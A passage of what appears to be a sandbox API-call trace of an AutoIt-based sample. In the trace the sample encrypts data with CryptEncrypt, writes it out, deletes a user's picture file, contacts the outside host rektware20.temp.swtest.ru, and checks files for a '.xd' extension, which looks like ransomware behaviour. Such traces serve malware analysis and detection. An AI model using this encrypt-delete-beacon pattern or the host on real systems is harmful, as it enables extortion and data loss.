returned 1 [0060.421] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.421] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.421] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.422] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.422] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.424] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.424] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.424] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.425] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.425] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.427] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.427] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.427] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15ddc, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15de0) returned 1 [0060.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.428] CharLowerBuffW (in: lpsz="byte[89569]", cchLength=0xb | out: lpsz="byte[89569]") returned 0xb [0060.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.431] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.431] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.432] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.433] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.433] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f89b8*, pdwDataLen=0x130e618*=0x15ddc, dwBufLen=0x15de0 | out: pbData=0x17f89b8*, pdwDataLen=0x130e618*=0x15de0) returned 1 [0060.434] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.434] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.434] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.439] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.439] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.439] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.439] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.439] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.439] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.439] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.439] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.439] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.440] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.477] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.477] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.478] WriteFile (in: hFile=0x3bc, lpBuffer=0x17ccde8*, nNumberOfBytesToWrite=0x15de0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesWritten=0x130f01c*=0x15de0, lpOverlapped=0x0) returned 1 [0060.481] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.481] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.481] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.481] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.481] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.482] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.482] CryptDestroyKey (hKey=0x164c530) returned 1 [0060.482] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.482] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.482] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.482] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.483] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.483] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.483] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.484] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.484] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.484] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.484] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.484] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.484] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.485] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.485] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.485] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.485] CryptReleaseContext (hProv=0x17aacd0, dwFlags=0x0) returned 1 [0060.486] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.486] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.486] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.486] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.486] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.486] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.486] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.486] CloseHandle (hObject=0x2ac) returned 1 [0060.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.487] CloseHandle (hObject=0x3bc) returned 1 [0060.490] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.491] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.491] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", lpFilePart=0x0) returned 0x48 [0060.491] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\rmzfcrpf\\ejy2kxt0cru1m9edo.bmp")) returned 0x20 [0060.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0060.491] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\rmzfcrpf\\ejy2kxt0cru1m9edo.bmp")) returned 1 [0060.515] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.515] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0060.516] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.516] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.516] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.516] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.516] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.517] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.517] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.517] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.517] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.517] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.517] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.517] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c) returned 1 [0060.517] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.517] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.518] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.518] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.518] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.518] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.519] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.519] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.519] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.519] CloseHandle (hObject=0x0) returned 0 [0060.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 